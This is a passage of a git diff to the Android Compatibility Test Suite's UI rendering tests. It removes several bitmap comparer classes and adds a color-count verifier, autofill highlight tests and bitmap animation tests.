-    private static final int NEAR_PIXEL_RADIUS = 1;
-
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        for (int y = 0 ; y < height ; y++) {
-            for (int x = 0 ; x < width ; x++) {
-                boolean success = false;
-
-                // we need to check the surrounding pixels
-                for (int dx = -NEAR_PIXEL_RADIUS ; dx <= NEAR_PIXEL_RADIUS ; dx++) {
-                    for (int dy = -NEAR_PIXEL_RADIUS ; dy <= NEAR_PIXEL_RADIUS ; dy++) {
-                        // need to be sure we don't hit pixels that aren't there
-                        if (x + dx >= width || x + dx < 0 || y + dy >= height || y + dy < 0) {
-                            continue;
-                        }
-                        int index = indexFromXAndY(x + dx, y + dy, stride, offset);
-                        if (!pixelsAreSame(ideal[index], given[index])) {
-                            success = true;
-                            break;
-                        }
-                    }
-                }
-                if (!success) {
-                    Log.d(TAG, "Failure at pixel (" + x + "," + y + ")");
-                    return false;
-                }
-            }
-        }
-        return true;
-    }
-
-    private boolean pixelsAreSame(int ideal, int given) {
-        int error = Math.abs(Color.red(ideal) - Color.red(given));
-        error += Math.abs(Color.green(ideal) - Color.green(given));
-        error += Math.abs(Color.blue(ideal) - Color.blue(given));
-        return (error < THRESHOLD);
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PSNRComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PSNRComparer.java
deleted file mode 100644
index a38a381..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PSNRComparer.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-import android.graphics.Color;
-import android.util.Log;
-
-/**
- * Uses the Peak Signal-to-Noise Ratio approach to determine if two images are considered the same.
- */
-public class PSNRComparer extends BitmapComparer {
-    private static final String TAG = "PSNR";
-    private final float MAX = 255;
-    private final int REGION_SIZE = 10;
-
-    private float mThreshold;
-
-    /**
-     * @param threshold the PSNR necessary to pass the test, if the calculated PSNR is below this
-     *                  value, then the test will fail.
-     */
-    public PSNRComparer(float threshold) {
-        mThreshold = threshold;
-    }
-
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        float MSE = 0f;
-        int interestingRegions = 0;
-        for (int y = 0 ; y < height ; y += REGION_SIZE) {
-            for (int x = 0 ; x < width ; x += REGION_SIZE) {
-                int index = indexFromXAndY(x, y, stride, offset);
-                if (inspectRegion(ideal, index)) {
-                    interestingRegions++;
-                }
-            }
-        }
-
-        if (interestingRegions == 0) {
-            return true;
-        }
-
-        for (int y = 0 ; y < height ; y += REGION_SIZE) {
-            for (int x = 0 ; x < width ; x += REGION_SIZE) {
-                int index = indexFromXAndY(x, y, stride, offset);
-                if (ideal[index] == given[index]) {
-                    continue;
-                }
-                MSE += (Color.red(ideal[index]) - Color.red(given[index])) *
-                        (Color.red(ideal[index]) - Color.red(given[index]));
-                MSE += (Color.blue(ideal[index]) - Color.blue(given[index])) *
-                        (Color.blue(ideal[index]) - Color.blue(given[index]));
-                MSE += (Color.green(ideal[index]) - Color.green(given[index])) *
-                        (Color.green(ideal[index]) - Color.green(given[index]));
-            }
-        }
-        MSE /= (interestingRegions * REGION_SIZE * 3);
-
-        float fraction = (MAX * MAX) / MSE;
-        fraction = (float) Math.log(fraction);
-        fraction *= 10;
-
-        Log.d(TAG, "PSNR : " + fraction);
-
-        return (fraction > mThreshold);
-    }
-
-    private boolean inspectRegion(int[] ideal, int index) {
-        int regionColor = ideal[index];
-        for (int i = 0 ; i < REGION_SIZE ; i++) {
-            if (regionColor != ideal[index + i]) {
-                return true;
-            }
-        }
-        return false;
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PassComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PassComparer.java
deleted file mode 100644
index 79923cd..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/PassComparer.java
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-/**
- * This class is purely for debug purposes. It will automatically pass any tests.
- */
-public class PassComparer extends BitmapComparer {
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        return true;
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.java
deleted file mode 100644
index 6a78f11..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-import android.uirendering.cts.R;
-import android.uirendering.cts.ScriptC_ThresholdDifferenceComparer;
-
-import android.content.res.Resources;
-import android.graphics.Color;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
-import android.uirendering.cts.bitmapcomparers.BaseRenderScriptComparer;
-import android.util.Log;
-
-/**
- * Compares two images to see if each pixel is the same, within a certain threshold value
- */
-public class ThresholdDifferenceComparer extends BaseRenderScriptComparer {
-    private static final String TAG = "ThresholdDifference";
-    private ScriptC_ThresholdDifferenceComparer mScript;
-    private int mThreshold;
-
-    /**
-     * @param threshold Each pixel is compared against each other, in each of the individual
-     *                  channels. If the sum of the errors amongst the channels is greater than some
-     *                  threshold, then this test will fail.
-     */
-    public ThresholdDifferenceComparer(int threshold) {
-        mThreshold = threshold;
-    }
-
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        int differentPixels = 0;
-        for (int y = 0 ; y < height ; y++) {
-            for (int x = 0 ; x < width ; x++) {
-                int index = indexFromXAndY(x, y, stride, offset);
-                int error = Math.abs(Color.red(ideal[index]) - Color.red(given[index]));
-                error += Math.abs(Color.blue(ideal[index]) - Color.blue(given[index]));
-                error += Math.abs(Color.green(ideal[index]) - Color.green(given[index]));
-                if (error > mThreshold) {
-                    Log.d(TAG, "Failure at position x = " + x + " y = " + y);
-                    Log.d(TAG, "Expected color " + Integer.toHexString(ideal[index]) +
-                            " given color " + Integer.toHexString(given[index]));
-                    differentPixels++;
-                }
-            }
-        }
-        Log.d(TAG, "Number of different pixels : " + differentPixels);
-        return (differentPixels == 0);
-    }
-
-    @Override
-    public boolean verifySameRowsRS(Resources resources, Allocation ideal,
-            Allocation given, int offset, int stride, int width, int height,
-            RenderScript renderScript, Allocation inputAllocation, Allocation outputAllocation) {
-        if (mScript == null) {
-            mScript = new ScriptC_ThresholdDifferenceComparer(renderScript);
-        }
-
-        mScript.set_THRESHOLD(mThreshold);
-        mScript.set_WIDTH(width);
-
-        //Set the bitmap allocations
-        mScript.set_ideal(ideal);
-        mScript.set_given(given);
-
-        //Call the renderscript function on each row
-        mScript.forEach_thresholdCompare(inputAllocation, outputAllocation);
-
-        float differentPixels = sum1DFloatAllocation(outputAllocation);
-        Log.d(TAG, "Number of different pixels RS : " + differentPixels);
-        return (differentPixels == 0);
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.rs b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.rs
deleted file mode 100644
index 8a40ad6..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/ThresholdDifferenceComparer.rs
+++ /dev/null
@@ -1,25 +0,0 @@
-#pragma version(1)
-#pragma rs java_package_name(android.uirendering.cts)
-
-int WIDTH;
-int THRESHOLD;
-
-rs_allocation ideal;
-rs_allocation given;
-
-// This method does a threshold comparison of the values
-void thresholdCompare(const int32_t *v_in, float *v_out){
-    int y = v_in[0];
-    v_out[0] = 0;
-
-    for(int i = 0 ; i < WIDTH ; i ++){
-        uchar4 idealPixel = rsGetElementAt_uchar4(ideal, i, y);
-        uchar4 givenPixel = rsGetElementAt_uchar4(given, i, y);
-        float l1 = (idealPixel.x * 0.21f) + (idealPixel.y * 0.72f) + (idealPixel.z * 0.07f);
-        float l2 = (givenPixel.x * 0.21f) + (givenPixel.y * 0.72f) + (givenPixel.z * 0.07f);
-        float diff = l1 - l2;
-        if (fabs(diff) >= THRESHOLD) {
-            v_out[0]++;
-        }
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/WeightedPixelDifference.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/WeightedPixelDifference.java
deleted file mode 100644
index f243c29..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapcomparers/WeightedPixelDifference.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapcomparers;
-
-import android.graphics.Color;
-import android.util.Log;
-
-/**
- * This class contains methods to add the error amongst all pixels in two images while taking into
- * account the number of pixels that are non-white. Note only use this if the content background is
- * white.
- */
-public class WeightedPixelDifference extends BitmapComparer {
-    private static final String TAG = "WeightedPixel";
-    private static final int NUM_OF_COLUMNS = 10;
-    private static final float TOTAL_ERROR_DIVISOR = 1024.0f;
-
-    private float mThreshold;
-
-    public WeightedPixelDifference(float threshold) {
-        mThreshold = threshold;
-    }
-
-    /**
-     * Calculates if pixels in a specific line are the same color
-     * @return true if the pixels are the same color
-     */
-    private static boolean inspectRegions(int[] ideal, int start, int stride, int regionSize) {
-        int regionColor = ideal[start];
-        for (int y = 0 ; y < regionSize ; y++) {
-            for (int x = 0 ; x < regionSize ; x++) {
-                int index = indexFromXAndY(x, y, stride, start);
-                if (ideal[index] != regionColor) {
-                    return true;
-                }
-            }
-        }
-        return false;
-    }
-
-    /**
-     * Finds the error between each individual channel in the color.
-     */
-    private static float errorBetweenPixels(int color1, int color2) {
-        float error = 0f;
-        error += Math.abs(Color.red(color1) - Color.red(color2));
-        error += Math.abs(Color.green(color1) - Color.green(color2));
-        error += Math.abs(Color.blue(color1) - Color.blue(color2));
-        error += Math.abs(Color.alpha(color1) - Color.alpha(color2));
-        return error;
-    }
-
-    /**
-     * Calculates the error between the pixels in the ideal and given
-     * @return true if the accumulated error is smaller than the threshold
-     */
-    @Override
-    public boolean verifySame(int[] ideal, int[] given, int offset, int stride, int width,
-            int height) {
-        int interestingRegions = 0;
-        int regionSize = width / NUM_OF_COLUMNS;
-
-        for (int y = 0 ; y < height ; y += regionSize) {
-            for (int x = 0 ; x < width ; x += regionSize) {
-                int index = indexFromXAndY(x, y,stride, offset);
-                if (inspectRegions(ideal, index, stride, regionSize)) {
-                    interestingRegions++;
-                }
-            }
-        }
-
-        int interestingPixels = Math.max(1, interestingRegions) * regionSize * regionSize;
-
-        float totalError = 0;
-
-        for (int y = 0 ; y < height ; y++) {
-            for (int x = 0 ; x < width ; x++) {
-                int index = indexFromXAndY(x, y, stride, offset);
-                int idealColor = ideal[index];
-                int givenColor = given[index];
-                if (idealColor == givenColor) {
-                    continue;
-                }
-                totalError += errorBetweenPixels(idealColor, givenColor);
-            }
-        }
-
-        totalError /= TOTAL_ERROR_DIVISOR;
-        totalError /= interestingPixels;
-
-        Log.d(TAG, "Total error : " + totalError);
-
-        return totalError < mThreshold;
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorCountVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorCountVerifier.java
new file mode 100644
index 0000000..1cf71c5
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorCountVerifier.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.bitmapverifiers;
+
+import android.util.Log;
+
+public class ColorCountVerifier extends BitmapVerifier {
+    private int mColor;
+    private int mCount;
+
+    public ColorCountVerifier(int color, int count) {
+        mColor = color;
+        mCount = count;
+    }
+
+    @Override
+    public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+        int count = 0;
+        for (int x = 0; x < width; x++) {
+            for (int y = 0; y < height; y++) {
+                if (bitmap[indexFromXAndY(x, y, stride, offset)] == mColor) {
+                    count++;
+                }
+            }
+        }
+        if (count != mCount) {
+            Log.d("ColorCountVerifier", ("Color count mismatch " + count) + " != " + mCount);
+        }
+        return count == mCount;
+    }
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorVerifier.java
index aa91c2e..6c494de 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/ColorVerifier.java
@@ -15,7 +15,7 @@
  */
 package android.uirendering.cts.bitmapverifiers;
 
-import android.annotation.ColorInt;
+import android.support.annotation.ColorInt;
 
 /**
  * Checks to see if a bitmap is entirely a single color
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
index 42e8960..b9816db 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/GoldenImageVerifier.java
@@ -15,7 +15,9 @@
  */
 package android.uirendering.cts.bitmapverifiers;
 
+import android.content.Context;
 import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
@@ -31,6 +33,10 @@
         mBitmapComparer = bitmapComparer;
     }
 
+    public GoldenImageVerifier(Context context, int goldenResId, BitmapComparer bitmapComparer) {
+        this(BitmapFactory.decodeResource(context.getResources(), goldenResId), bitmapComparer);
+    }
+
     @Override
     public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
         boolean success = mBitmapComparer.verifySame(mGoldenBitmapArray, bitmap, offset, stride,
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/InvertVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/InvertVerifier.java
deleted file mode 100644
index fe0db96..0000000
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/InvertVerifier.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.uirendering.cts.bitmapverifiers;
-
-/**
- * Used when the tester wants to find the opposite result from a Verifier
- */
-public class InvertVerifier extends BitmapVerifier {
-    private BitmapVerifier mBitmapVerifier;
-
-    public InvertVerifier(BitmapVerifier bitmapVerifier) {
-        mBitmapVerifier = bitmapVerifier;
-    }
-
-    @Override
-    public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
-        boolean success = mBitmapVerifier.verify(bitmap, offset, stride, width, height);
-        mDifferenceBitmap = mBitmapVerifier.getDifferenceBitmap();
-        return !success;
-    }
-}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/PerPixelBitmapVerifier.java b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/PerPixelBitmapVerifier.java
index 8fe75ee..0d41e5b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/PerPixelBitmapVerifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/bitmapverifiers/PerPixelBitmapVerifier.java
@@ -15,9 +15,9 @@
  */
 package android.uirendering.cts.bitmapverifiers;
 
-import android.annotation.ColorInt;
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import android.support.annotation.ColorInt;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.util.CompareUtils;
 import android.util.Log;
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
new file mode 100644
index 0000000..837cfc3
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/AutofillHighlightTests.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.testclasses;
+
+import static org.junit.Assume.assumeNotNull;
+
+import android.content.res.TypedArray;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Drawable;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class AutofillHighlightTests extends ActivityTestBase {
+    @Test
+    public void testHighlightedFrameLayout() {
+        Bitmap goldenBitmap = Bitmap.createBitmap(ActivityTestBase.TEST_WIDTH,
+                ActivityTestBase.TEST_HEIGHT, Bitmap.Config.ARGB_8888);
+        goldenBitmap.eraseColor(Color.WHITE);
+        Canvas canvas = new Canvas(goldenBitmap);
+
+        TypedArray a = getActivity().getTheme().obtainStyledAttributes(
+                new int[]{android.R.attr.autofilledHighlight});
+        int attributeResourceId = a.getResourceId(0, 0);
+        Drawable autofilledDrawable = getActivity().getDrawable(attributeResourceId);
+        a.recycle();
+
+        // Test does not make sense if autofill highlight is not set
+        assumeNotNull(autofilledDrawable);
+
+        autofilledDrawable.setBounds(0, 0, ActivityTestBase.TEST_WIDTH,
+                ActivityTestBase.TEST_HEIGHT);
+        autofilledDrawable.draw(canvas);
+
+        createTest().addLayout(R.layout.simple_white_layout, view -> view.setAutofilled(true))
+                .runWithVerifier(new GoldenImageVerifier(goldenBitmap, new MSSIMComparer(0.99)));
+    }
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
index a2f0305..d705c7e 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapFilterTests.java
@@ -19,15 +19,19 @@
 import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.PaintFlagsDrawFilter;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.ColorVerifier;
 import android.uirendering.cts.bitmapverifiers.PerPixelBitmapVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class BitmapFilterTests extends ActivityTestBase {
     private static final int WHITE_WEIGHT = 255 * 3;
     private enum FilterEnum {
@@ -122,7 +126,8 @@
             canvas.setDrawFilter(null);
         };
         createTest()
-                .addCanvasClient(canvasClient)
+                // Picture does not support PaintFlagsDrawFilter
+                .addCanvasClientWithoutUsingPicture(canvasClient)
                 .runWithVerifier(getVerifierForTest(filterEnum, scaleUp));
     }
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
new file mode 100644
index 0000000..f0afd53
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/BitmapTests.java
@@ -0,0 +1,215 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.animation.Animator;
+import android.animation.ValueAnimator;
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.Rect;
+import android.os.Handler;
+import android.support.test.filters.LargeTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.bitmapverifiers.ColorCountVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.FrameMetrics;
+import android.view.View;
+import android.view.ViewAnimationUtils;
+import android.view.Window;
+import android.widget.FrameLayout;
+
+import org.junit.Assert;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class BitmapTests extends ActivityTestBase {
+    class BitmapView extends View {
+        private Bitmap mBitmap;
+        private int mColor;
+
+        public BitmapView(Context context) {
+            super(context);
+            mBitmap = Bitmap.createBitmap(1, 1, Bitmap.Config.ARGB_8888);
+            setColor(Color.BLUE);
+        }
+
+        @Override
+        protected void onDraw(Canvas canvas) {
+            canvas.drawBitmap(mBitmap, new Rect(0, 0, 1, 1), canvas.getClipBounds(), null);
+        }
+
+        public void setColor(int color) {
+            mColor = color;
+            mBitmap.setPixel(0, 0, color);
+        }
+
+        public int getColor() {
+            return mColor;
+        }
+    }
+
+    /*
+     * The following test verifies that bitmap changes during render thread animation won't
+     * be visible: we changed a bitmap from blue to red during circular reveal (an RT animation),
+     * and changed it back to blue before the end of the animation; we should never see any
+     * red pixel.
+     */
+    @Test
+    public void testChangeDuringRtAnimation() {
+        class RtOnlyFrameCounter implements Window.OnFrameMetricsAvailableListener {
+            private int count = 0;
+
+            @Override
+            public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
+                    int dropCountSinceLastInvocation) {
+                if (frameMetrics.getMetric(FrameMetrics.ANIMATION_DURATION) == 0
+                        && frameMetrics.getMetric(FrameMetrics.INPUT_HANDLING_DURATION) == 0
+                        && frameMetrics.getMetric(FrameMetrics.LAYOUT_MEASURE_DURATION) == 0) {
+                    count++;
+                };
+            }
+
+            public boolean isLargeEnough() {
+                return count >= 5;
+            }
+        }
+
+        ViewInitializer initializer = new ViewInitializer() {
+            Animator mAnimator;
+            RtOnlyFrameCounter mCounter = new RtOnlyFrameCounter();
+
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+
+                final BitmapView child = new BitmapView(view.getContext());
+                child.setLayoutParams(new FrameLayout.LayoutParams(50, 50));
+                root.addView(child);
+
+                mAnimator = ViewAnimationUtils.createCircularReveal(child, 0, 0, 0, 90);
+                mAnimator.setDuration(3000);
+                mAnimator.start();
+
+                Handler handler = new Handler();
+                handler.postDelayed(new Runnable() {
+                    @Override
+                    public void run() {
+                        child.setColor(Color.RED);
+                        try {
+                            Thread.sleep(1000);
+                        } catch (Exception e) {
+                            // do nothing
+                        }
+                        child.setColor(Color.BLUE);
+                    }
+                }, 1000);
+                getActivity().getWindow().addOnFrameMetricsAvailableListener(mCounter, handler);
+            }
+
+            @Override
+            public void teardownView() {
+                mAnimator.cancel();
+                Assert.assertTrue(mCounter.isLargeEnough());
+            }
+        };
+
+        createTest()
+                .addLayout(R.layout.frame_layout, initializer, true)
+                .runWithAnimationVerifier(new ColorCountVerifier(Color.RED, 0));
+    }
+
+    /*
+     * The following test verifies that bitmap changes during UI thread animation are
+     * visible: we keep changing a bitmap's color between red and blue in sync with the
+     * background, and we should only see pure blue or red.
+    */
+    @Test
+    public void testChangeDuringUiAnimation() {
+        class BlueOrRedVerifier extends BitmapVerifier {
+            @Override
+            public boolean verify(int[] bitmap, int offset, int stride, int width, int height) {
+                MSSIMComparer comparer = new MSSIMComparer(0.99);
+                int[] red  = new int[offset + height * stride];
+                Arrays.fill(red, Color.RED);
+                int[] blue  = new int[offset + height * stride];
+                Arrays.fill(blue, Color.BLUE);
+                boolean isRed = comparer.verifySame(red, bitmap, offset, stride, width, height);
+                boolean isBlue = comparer.verifySame(blue, bitmap, offset, stride, width, height);
+                return isRed || isBlue;
+            }
+        }
+
+        ViewInitializer initializer = new ViewInitializer() {
+            ValueAnimator mAnimator;
+
+            @Override
+            public void initializeView(View view) {
+                FrameLayout root = (FrameLayout) view.findViewById(R.id.frame_layout);
+                root.setBackgroundColor(Color.BLUE);
+
+                final BitmapView child = new BitmapView(view.getContext());
+
+                // The child size is strictly less than the test canvas size,
+                // and we are moving it up and down inside the canvas.
+                child.setLayoutParams(new FrameLayout.LayoutParams(ActivityTestBase.TEST_WIDTH / 2,
+                        ActivityTestBase.TEST_HEIGHT / 2));
+                root.addView(child);
+                child.setColor(Color.BLUE);
+
+                mAnimator = ValueAnimator.ofInt(0, ActivityTestBase.TEST_HEIGHT / 2);
+                mAnimator.setRepeatMode(mAnimator.REVERSE);
+                mAnimator.setRepeatCount(mAnimator.INFINITE);
+                mAnimator.setDuration(400);
+                mAnimator.addUpdateListener(new ValueAnimator.AnimatorUpdateListener() {
+                    @Override
+                    public void onAnimationUpdate(ValueAnimator animation) {
+                        int v = (Integer) mAnimator.getAnimatedValue();
+                        child.setTranslationY(v);
+                        if (child.getColor() == Color.BLUE) {
+                            root.setBackgroundColor(Color.RED);
+                            child.setColor(Color.RED);
+                        } else {
+                            root.setBackgroundColor(Color.BLUE);
+                            child.setColor(Color.BLUE);
+                        }
+                    }
+                });
+                mAnimator.start();
+            }
+
+            @Override
+            public void teardownView() {
+                mAnimator.cancel();
+            }
+        };
+
+        createTest()
+                .addLayout(R.layout.frame_layout, initializer, true)
+                .runWithAnimationVerifier(new BlueOrRedVerifier());
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
index 1e7a832..16f98f6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/CanvasStateTests.java
